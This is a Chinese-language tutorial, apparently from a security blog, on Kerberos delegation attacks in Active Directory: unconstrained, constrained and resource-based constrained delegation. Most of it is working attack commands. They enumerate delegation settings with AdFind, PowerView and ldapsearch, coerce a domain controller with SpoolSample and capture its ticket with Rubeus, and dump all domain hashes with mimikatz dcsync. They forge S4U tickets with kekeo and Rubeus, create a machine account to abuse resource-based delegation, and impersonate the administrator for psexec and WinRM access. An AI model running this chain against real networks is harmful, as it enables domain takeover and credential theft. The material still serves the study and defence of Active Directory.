域內委派攻擊

域內委派攻擊

委派

將域內用戶的權限委派給服務賬號,使得服務賬號能以用戶權限開展域內活動,接受委派的用戶只能是服務賬戶或者主機賬戶。

域委派存在三種類型,非約束委派、約束委派、基於資源的約束委派。

Client 需要通過HTTP訪問sqlserver 服務器,但HTTP並沒有訪問sqlserver的權限,這時候HTTP就需要Client的身份去訪問sqlserver ,然後再將請求返回給Client

非約束委派

對於非約束性委派(Unconstrained Delegation),

服務賬號可以獲取被委派用戶的TGT,並將TGT緩存到LSASS進程中,從而服務賬號可使用該TGT,模擬用戶訪問任意服務。配置了非約束委派的賬戶的userAccountControl 屬性有個FLAG位TRUSTED_FOR_DELEGATION。非約束委派的設置需要SeEnableDelegation特權,該特權通常僅授予域管理員 。

無約束委派****(Unconstrained Delegation)是一種風險性極大的委派方式,它通過TGT轉發使服務器具有模擬用戶的能力。服務賬戶根據用戶發給自己的可轉發的TGT代表用戶請求其他任何服務,由此可知,一旦開啓了無約束委派的服務賬戶被攻陷,用戶身份將被濫用。

約束委派

爲了解決無約束委派的問題,微軟更新發布了Kerberos協議拓展S4U,該拓展包含兩個協議:傳統的約束委派(Constrained Delegation,****aka S4U2Proxy)協議轉換****(Protocol Transition, aka S4U2Self)

即爲允許通過dc的憑據訪問到alerter服務。

如圖中Web Server 需要使用Sql server數據庫以用戶身份進行訪問。通過設置約束委派,可以讓Web Server模擬用戶訪問Sql server並且獲取對應資源。

創建spn服務賬戶

setspn -A http/iis testuser

查詢服務賬戶

setspn -u testuser

設置了服務用戶testuser對DC的cifs服務的委派

基於資源委派

傳統的約束委派中仍然存在一些缺點,如無法進行跨域委派。

配置受約束的委派,必須擁有SeEnableDelegation特權,該特權是敏感的,通常僅授予域管理員。爲了使用戶/資源更加獨立,Windows Server 2012中引入了基於資源的約束委派。基於資源的約束委派允許資源配置受信任的帳戶委派給他們。

基於資源的約束委派只能在運行Windows Server 2012 R2和Windows Server 2012的域控制器上配置,但可以在混合模式林中應用

與約束委派最大的不同點,在設置相關的約束委派的實現的時候不再需要域管理員自己去設置相關約束委派的屬性,而操作權落在了當前登錄的機器或者用戶的手中

ADFind

查詢非約束委派的主機

AdFind.exe -b "DC=nncm,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查詢非約束委派的服務賬戶

AdFind.exe -b "DC=nncm,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查找域中配置約束委派用戶

AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306369)(msds- allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

查找域中配置約束委派的主機:

AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306369)(msds- allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

指定賬戶密碼

adfind.exe -h 10.0.10.110 -u vulntarget\win2016 -up Admin#123 -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

PowerView

查找域中配置非約束委派用戶

Get-NetUser -Unconstrained -Domain nncm.com |select name

查找域中配置非約束委派的主機

Get-NetComputer -Unconstrained -Domain nncm.com | select name

查找域中配置約束委派用戶

Get-DomainUser –TrustedToAuth -domain nncm.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

查找域中配置約束委派的主機:

Get-DomainComputer -TrustedToAuth -Domain nncm.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize

ldapsearch

查找域中配置非約束委派的用戶

ldapsearch -x -H ldap://192.168.201.166:389 -D "CN=test,CN=Users,DC=nncm,DC=com" -w 123456 -b "DC=nncm,DC=com" "(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

查找域中配置非約束委派的主機

ldapsearch -x -H ldap://192.168.201.166:389 -D "CN=administrator,CN=Users,DC=nncm,DC=com" -w 123456 -b "DC=nncm,DC=com" "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

查找域中配置約束委派用戶

ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=user0x1,CN=Users,DC=networksec,DC=loacl" -w q123456. -b "DC=networksec,DC=loacl" "(&(samAccountType=805306368)(msds- allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

查找域中配置約束委派的主機:

ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=user0x2,CN=Users,DC=networksec,DC=loacl" -w q123456. -b "DC=networksec,DC=loacl" "(&(samAccountType=805306369)(msds- allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

非約束委派+Spooler利用

https://github.com/leechristensen/SpoolSample

Rubeus.exe monitor /interval:1  /filteruser:DC01$

在機器上以管理員權限執行以下命令,監聽來自DC機器的相關信息

SpoolSample.exe DC01 WIN-TVHO4UIFMBT

利用SpoolSample強制讓DC訪問WIN-TVHO4UIFMBT機器,抓取票據

Rubeus導入獲取到的TGT票據

Rubeus.exe ptt /ticket:抓取下來的票據base64內容

或使用powershell命令轉成文件格式進行憑據導入

[IO.File]::WriteAllBytes("C:\Users\Public\ticket.k
irbi", [Convert]::FromBase64String("base64憑據內容"))
mimikatz.exe "log" "lsadump::dcsync /all /csv" "exit"

約束委派利用

需要獲取一個約束委派的賬戶密碼或NTLM HASH

攻擊流程:

  1. 服務1 使用自己的hash向KDC申請一個TGT票據,注意在KDC Option裏面選擇forwardable標誌

位,這樣的話請求的TGT票據就是可轉發的TGT票據。命令:

tgt::ask /user:user0x2 /domain:networksec.loacl /password:password. /ticket:test.kirbi

  1. 服務1 代表用戶申請一個獲得針對服務1自身的ST服務票據(這一步就是S4U2Self),這一步生成的ST服務票據是可轉發的

  2. 服務1 拿着上一步這個ST服務票據向KDC請求訪問特定服務的可轉發的TGS(S4U2Proxy),並且代表用戶訪問特定服務,而且只能訪問該特定服務。第2/3步命令: Tgs::s4u /tgt:[email protected][email protected] i /user:[email protected] /service:cifs/user0x2.networksec.loacl

在約束委派的情況下,服務用戶只能獲取某個用戶(或主機)的服務的ST,所以只能模擬用戶訪問特定的服務,是無法獲取用戶的TGT,如果我們能獲取到開啓了約束委派的服務用戶的明文密碼或者NTLM Hash,我們就可以僞造S4U請求,進而僞裝成服務用戶以任意賬戶的權限申請訪問某服務的ST已經知道服務用戶明文的條件下,我們可以用kekeo請求該用戶的TGT,首先查詢域內配置了約束性委派的服務賬號。

使用kekeo

tgt::ask /user:testuser /domain:nncm.com /password:Xx110110110. /ticket:wptgt.kirbi 
#如果已知的是服務賬號的NTLM Hash,則如下 
tgt::ask /user:user0x2 /domain:networksec.loacl /NTLM:xxxxxxxxxxxxxxxx /ticket:test.kirbi

或使用

Rubeus.exe asktgt /user:testuser /domain:nncm.com /password:明文密碼
# 如果已知的是服務賬號的NTLM Hash,則如下 
Rubeus.exe asktgt /user:testuser /domain:nncm.com /rc4:NTLM HASH

執行完成kekeo命令會得到服務用戶TGT:

Tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/DC01.nncm.com

執行完成後會生成2個票據,進行清空票據後導入

klist purge

kerberos:ptt xxx.kirbi

資源約束委派攻擊

powerview

Get-ObjectAcl -SamAccountName "testuser" -ResolveGUIDs | out-file save.txt

查詢一個域用戶最多可以創建多少臺計算機

Get-DomainObject -Identity "dc=nncm,dc=com" -Domain nncm.com

這個值表示的是允許用戶在域中創建的計算機帳戶數,默認爲10,這意味着我們如果擁有一個普通的域用戶那麼我們就可以利用這個用戶最多可以創建十個新的計算機帳戶

爲什麼需要這個呢?這裏還需要引出一個S4U2Self其中的一個知識點

因爲基於資源的約束委派中需要用到S4U2Self和S4U2Proxy,又因爲S4U2Self只適用於具有SPN的賬戶,恰好的是在域中有一個屬性MachineAccountQuota,所以就需要通過MachineAccountQuota來創建一個SPN的賬戶來進行委派配合
,而計算機賬戶默認是註冊RestrictedKrbHost/domain和HOST/domain這兩個SPN的

知識點:

1、傳統的約束委派S4U2Self返回的票據一定是可轉發的(Forwardable標記),如果不可轉發那麼S4U2Proxy將失敗;但是基於資源的約束委派不同,就算S4U2Self返回的票據不可轉發(可不可以轉發由TrustedToAuthenticationForDelegation決定),S4U2Proxy也是可以成功,並且S4U2Proxy返回的票據總是可轉發。

查詢目標機的msds-allowedtoactonbehalfofotheridentity是否被寫入

Get-NetComputer WIN-TVHO4UIFMBT | Select-Object -Property name, msds-allowedtoactonbe
halfofotheridentity

或打開ADSI進行查看

創建一個計算機用戶

New-MachineAccount -MachineAccount gg -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

查詢新創建的計算機用戶的SID

爲gg計算機主體創建一個新的原始安全描述符

Get-DomainComputer gg -Properties objectsid | Select -Expand objectsid
#獲取我們添加的新計算機的SID
#S-1-5-21-3719624404-3157586140-4111374611-1602

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3719624404-3157586140-4111374611-1602)"
#使用此計算機帳戶作爲主體來構建新的原始安全描述符

$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
#獲取SDDL的二進制字節

Get-DomainComputer WIN-TVHO4UIFMBT | Set-DomainObject -Set @{'msds-allowedtoactonbeha
lfofotheridentity'=$SDBytes} -Verbose

#爲 msds-allowedtoactonbehalfofotheridentity 設置新的安全描述符
Rubeus.exe hash /user:gg /password:123456 /domain:nncm

Rubeus.exe s4u /user:gg$ /domain:nncm.com /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:administrato/msdsspn:cifs/gg.nncm.com /ptt

可以看到這裏獲取到了一個cifs的票據,注入到了內存中。這樣就可以訪問到gg.nncm.com了

psexec.py -dc-ip 192.168.201.11 nncm/[email protected] -k -no-pass

我們知道獲取什麼服務就提供什麼功能,假如對方主機開啓了遠程管理服務(WinRM)的時候,並且我們知道WinRM是通過HTTP和HTTPS來進行通信的。那麼就是需要申請相對於的服務票據,我們可以通過請求HTTP和WSMAN的服務票據,利用Powershell Remoting以域管理員身份連接到目標主機,不用使用其他工具。

Rubeus.exe s4u /user:admin0x1$ /rc4:8F36F32A9708E03A03461EB8720DD0B /domain:one.com /msdsspn:http/dm.one.com /impersonateuser:administrator /ptt 

Rubeus.exe s4u /user:admin0x1$ /rc4:8F36F32A9708E03A03461EB8720DD0B /domain:one.com /msdsspn:wsman/dm.one.com /impersonateuser:administrator /ptt

接着就可以使用WinRM來連接到對方的主機了。

New-PSSession -Name Priv -ComputerName dm.one.com 
Enter-PSSession -Name Priv

當administrator用戶被設置成了敏感賬號不能被委派的時候,在使用Rubeus進行票據請求的時候

S4U2Self是請求成功了。但是S4U2Proxy卻是失敗了。前提是利用條件需要有對方機器的hash,一般情

況下主機在加入域中會隨機設置主機賬戶的密碼,所以一般情況下用的是主機賬戶hash,並且你是不能

修改主機賬戶的密碼,否則該主機就會和域失去信任。

因爲S4U2Self請求的票據不可轉發,導致的原因。查看一些票據,這裏

顯示是不可轉發的一個票據,也就是設置的administrator用戶不可委派的效果。並且該票據沒有有效的

服務名稱,並且不可轉發。

Rebeus加入了一個模塊可以直接修改票據的SPN

Rubeus.exe s4u /user:gg$ /domain:nncm.com /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:administrato/msdsspn:cifs/gg.nncm.com /altservice:cifs,host /ptt

參考

資源委派(提權/橫向移動)

基於資源的約束委派攻擊

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章